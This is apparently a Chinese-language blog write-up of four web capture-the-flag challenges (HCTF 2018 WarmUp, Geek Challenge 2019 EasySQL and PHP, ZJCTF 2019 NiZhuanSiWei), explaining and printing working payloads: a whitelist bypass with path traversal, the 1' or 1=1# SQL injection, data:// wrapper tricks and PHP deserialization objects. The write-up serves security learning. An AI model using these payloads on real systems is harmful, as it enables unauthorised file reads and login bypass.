[HCTF 2018]WarmUp

1、查看隐藏页面

F12打开可以看到source.php页面,打开可以看到php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

2、审计代码

执行主体

1
2
3
4
5
6
7
if(!empty($_REQUEST['file'])                                 //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file'])) //checkFile函数为真
{
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
}

checkFile函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];    //声明$whitelist数组
if (! isset($page) || !is_string($page)) { //若$page变量不存在或非字符串
echo "you can't see it"; //打印"you can't see it"
return false; //返回false
}

if (in_array($page, $whitelist)) { //若$page变量存在于$whitelist数组中
return true; //返回true
}

$_page = mb_substr( //该代码表示截取$page'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?') //mb_strpos()为查找某个字符串第一次出现的位置
);
if (in_array($_page, $whitelist)) { //如果截取出来的字符串在whitelist中返回true
return true;
}

$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

3、得到payload

从前面的链接,我们可以执行伪协议进行读取

source.php?file=source.php%253f../../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL

根据题目得是sql注入,尝试万能密码1' or 1=1#可得flag

原理

在sql查询语句中,原句为

1
select * from table_name where username='xxxx' and password='xxxxxx';

如果我们传入的 username 为 1’ or 1=1 #,随意输入 password,那么传入后端验证时,sql语句就是

1
select * from table_name where username='1' or 1=1 # ' and password='xxxxxx';

因为sql语句中 # 为注释符,也就是

1
select * from table_name where username='1' or 1=1

构成恒等式,直接绕过

[极客大挑战 2019]PHP

反序列化,绕过__wakeup()

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a=new Name();
var_dump(serialize($a));
?>

申明private变量要记得在类名前后加%00

[ZJCTF 2019]NiZhuanSiWei

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

第一层绕过

第一层text参数需要绕过file_get_contents(),有两种方法:

  • 使用php://input伪协议绕过
    将要GET的参数?xxx=php://input
    用post方法传入想要file_get_contents()函数返回的值
  • 用data://伪协议绕过
    将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
    或者将url改为:?xxx=data:text/plain,(url编码的内容)

我采用了第二种方法,并且用base64绕过

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二层绕过

第二层的意思是file参数中不能有flag字样,否则会报错,那么只能用password进行输出。结合题目和unserialize()可得,需要用到反序列化的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
var_dump(serialize($a));
?>

定义一个类并新建的时候,当被当作字符串输出的时候,会触发__tostring方法,从而顺利地将flag.php中的字符串读出来